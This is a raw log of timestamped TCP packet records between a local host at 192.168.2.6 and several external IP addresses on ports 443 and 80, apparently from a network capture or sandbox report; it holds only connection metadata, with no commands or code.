Nov 19, 2024 01:01:31.054919004 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.054936886 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.054977894 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.055474043 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.073815107 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.073837996 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.073856115 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.073863029 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.073874950 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.073919058 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.075665951 CET	443	49806	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.076375961 CET	49806	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.076385975 CET	443	49806	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.077270031 CET	49806	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.077275038 CET	443	49806	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.124236107 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.124279022 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.124315023 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.124332905 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.124378920 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.124386072 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.124663115 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.124694109 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.124707937 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.124718904 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.124742031 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.124753952 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.124759912 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.124808073 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.125488043 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.125541925 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.125570059 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.125586033 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.125597000 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.125675917 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.126355886 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.128716946 CET	443	49803	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.128768921 CET	443	49803	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.128818035 CET	49803	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.140336990 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.140366077 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.140388012 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.140400887 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.140476942 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.140484095 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.142721891 CET	49803	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.142750025 CET	443	49803	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.142764091 CET	49803	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.142772913 CET	443	49803	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.148833036 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.148919106 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.148927927 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.151352882 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.151400089 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.151407003 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.152122021 CET	49815	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.152143002 CET	443	49815	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.152201891 CET	49815	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.152898073 CET	49815	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.152910948 CET	443	49815	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.184025049 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.184092045 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.184102058 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.184186935 CET	443	49805	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.184195995 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.184201956 CET	443	49805	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.184245110 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.184266090 CET	443	49805	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.184273958 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.184282064 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.184282064 CET	49805	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.184293985 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.184308052 CET	49805	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.184324026 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.184338093 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.184405088 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.184412956 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.184530973 CET	49805	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.184530973 CET	49805	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.184542894 CET	443	49805	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.184551954 CET	443	49805	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.185082912 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.185129881 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.185137987 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.186631918 CET	49704	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:31.186994076 CET	49704	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:31.187947989 CET	49817	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.187969923 CET	443	49817	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.188044071 CET	49817	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.188215971 CET	49817	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.188231945 CET	443	49817	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.188373089 CET	49818	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:31.188384056 CET	443	49818	173.222.162.64	192.168.2.6
Nov 19, 2024 01:01:31.188473940 CET	49818	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:31.188692093 CET	49818	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:31.188702106 CET	443	49818	173.222.162.64	192.168.2.6
Nov 19, 2024 01:01:31.191612959 CET	443	49704	173.222.162.64	192.168.2.6
Nov 19, 2024 01:01:31.191988945 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.192102909 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.192115068 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.192512989 CET	443	49704	173.222.162.64	192.168.2.6
Nov 19, 2024 01:01:31.196516037 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.196579933 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.196589947 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.202789068 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.202846050 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.202856064 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.233746052 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.233787060 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.233819008 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.233824968 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.233838081 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.233875036 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.233897924 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.233968973 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.233975887 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.234087944 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.234149933 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.234164000 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.234172106 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.234193087 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.234216928 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.234244108 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.234252930 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.234277010 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.234539986 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.234586954 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.234663963 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.254322052 CET	443	49806	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.254381895 CET	443	49806	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.254435062 CET	49806	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.254625082 CET	49806	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.254637003 CET	443	49806	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.254647970 CET	49806	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.254652977 CET	443	49806	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.257854939 CET	49819	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.257874012 CET	443	49819	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.257941961 CET	49819	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.258131027 CET	49819	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.258146048 CET	443	49819	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.278367043 CET	443	49808	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.278832912 CET	49808	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.278860092 CET	443	49808	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.279505014 CET	49808	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.279511929 CET	443	49808	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.539537907 CET	443	49808	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.539599895 CET	443	49808	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.539653063 CET	49808	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.539880037 CET	49808	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.539899111 CET	443	49808	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.539911032 CET	49808	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.539920092 CET	443	49808	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.543529034 CET	49820	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.543541908 CET	443	49820	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.543617010 CET	49820	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.543756008 CET	49820	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.543765068 CET	443	49820	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.545861959 CET	443	49810	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.546314955 CET	49810	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.546324968 CET	443	49810	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.546788931 CET	49810	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.546796083 CET	443	49810	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.556446075 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:31.557713032 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:31.557738066 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:31.558782101 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:31.558856964 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:31.559808969 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:31.559878111 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:31.560745955 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:31.560825109 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:31.561470985 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:31.561470985 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:31.561481953 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:31.603329897 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:31.612994909 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:31.682403088 CET	443	49810	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.682435989 CET	443	49810	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.682506084 CET	49810	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.682518959 CET	443	49810	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.682540894 CET	443	49810	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.682606936 CET	49810	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.682897091 CET	49810	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.682912111 CET	443	49810	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.682935953 CET	49810	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.682944059 CET	443	49810	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.686376095 CET	49821	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.686407089 CET	443	49821	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.686568975 CET	49821	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.686783075 CET	49821	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.686800003 CET	443	49821	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.704957008 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:31.705164909 CET	49824	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:31.709839106 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:31.710181952 CET	80	49824	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:31.710777998 CET	49824	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:31.710777998 CET	49824	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:31.715908051 CET	80	49824	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:31.799144030 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:31.799787998 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:31.801326990 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:31.801331997 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:31.801537991 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:31.847394943 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:31.848826885 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:31.867814064 CET	443	49814	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:31.868168116 CET	49814	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:31.870481014 CET	49814	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:31.870486021 CET	443	49814	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:31.870959997 CET	443	49814	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:31.871697903 CET	443	49818	173.222.162.64	192.168.2.6
Nov 19, 2024 01:01:31.871735096 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:31.871848106 CET	49818	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:31.894272089 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:31.894283056 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:31.895963907 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:31.896018982 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:31.896190882 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:31.896277905 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:31.896277905 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:31.909130096 CET	49814	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:31.915328979 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:31.945452929 CET	443	49817	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.946485996 CET	49817	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.946485996 CET	49817	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.946497917 CET	443	49817	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.946516037 CET	443	49817	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.951330900 CET	443	49814	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:31.958126068 CET	443	49815	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.958486080 CET	49815	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.958498955 CET	443	49815	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.958888054 CET	49815	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.958890915 CET	443	49815	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.024857044 CET	443	49819	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.025854111 CET	49819	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.025862932 CET	443	49819	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.026315928 CET	49819	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.026319981 CET	443	49819	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.114581108 CET	443	49817	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.114588976 CET	443	49817	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.114643097 CET	49817	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.114656925 CET	443	49817	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.114732981 CET	49817	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.115323067 CET	443	49815	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.115339041 CET	443	49815	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.115375042 CET	443	49815	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.115403891 CET	49815	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.115551949 CET	49815	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.116591930 CET	49817	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.116591930 CET	49817	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.116601944 CET	443	49817	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.116609097 CET	443	49817	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.117326021 CET	49815	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.117333889 CET	443	49815	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.117362976 CET	49815	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.117367983 CET	443	49815	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.120976925 CET	49825	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.120979071 CET	49826	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.120995045 CET	443	49825	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.121014118 CET	443	49826	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.121100903 CET	49825	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.121107101 CET	49826	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.121547937 CET	49826	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.121566057 CET	443	49826	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.121757984 CET	49825	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.121777058 CET	443	49825	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.152800083 CET	443	49814	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:32.152960062 CET	443	49814	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:32.155361891 CET	49814	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:32.156244040 CET	49814	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:32.156256914 CET	443	49814	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:32.156332970 CET	49814	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:32.156336069 CET	443	49814	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:32.173995018 CET	443	49819	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.174046993 CET	443	49819	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.174186945 CET	49819	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.174402952 CET	49819	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.174412966 CET	443	49819	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.174443960 CET	49819	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.174448967 CET	443	49819	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.177495003 CET	49827	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.177505016 CET	443	49827	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.177623034 CET	49827	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.177912951 CET	49827	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.177923918 CET	443	49827	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.196284056 CET	49828	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:32.196295023 CET	443	49828	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:32.196516037 CET	49828	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:32.196826935 CET	49828	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:32.196837902 CET	443	49828	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:32.251281023 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:32.251305103 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:32.251317024 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:32.251327038 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:32.251358032 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:32.251382113 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:32.251386881 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:32.251411915 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:32.251411915 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:32.251458883 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:32.252201080 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:32.252515078 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:32.252518892 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:32.265396118 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:32.265407085 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:32.265438080 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:32.265566111 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:32.265609026 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:32.265958071 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:32.303400993 CET	443	49820	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.304452896 CET	49820	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.304467916 CET	443	49820	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.305345058 CET	49820	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.305351019 CET	443	49820	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.443443060 CET	443	49820	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.443586111 CET	443	49820	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.443985939 CET	49820	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.445370913 CET	49820	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.445370913 CET	49820	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.445379019 CET	443	49820	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.445389032 CET	443	49820	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.449871063 CET	443	49821	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.461020947 CET	49821	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.461038113 CET	443	49821	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.461673021 CET	49821	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.461678028 CET	443	49821	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.465930939 CET	49830	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.465965986 CET	443	49830	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.466371059 CET	49830	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.466555119 CET	49830	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.466571093 CET	443	49830	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.599107981 CET	443	49821	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.599242926 CET	443	49821	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.600014925 CET	49821	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.600862026 CET	49821	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.600862026 CET	49821	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.600883007 CET	443	49821	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.600904942 CET	443	49821	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.604377985 CET	49832	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.604424953 CET	443	49832	13.107.246.45	192.168.2.6
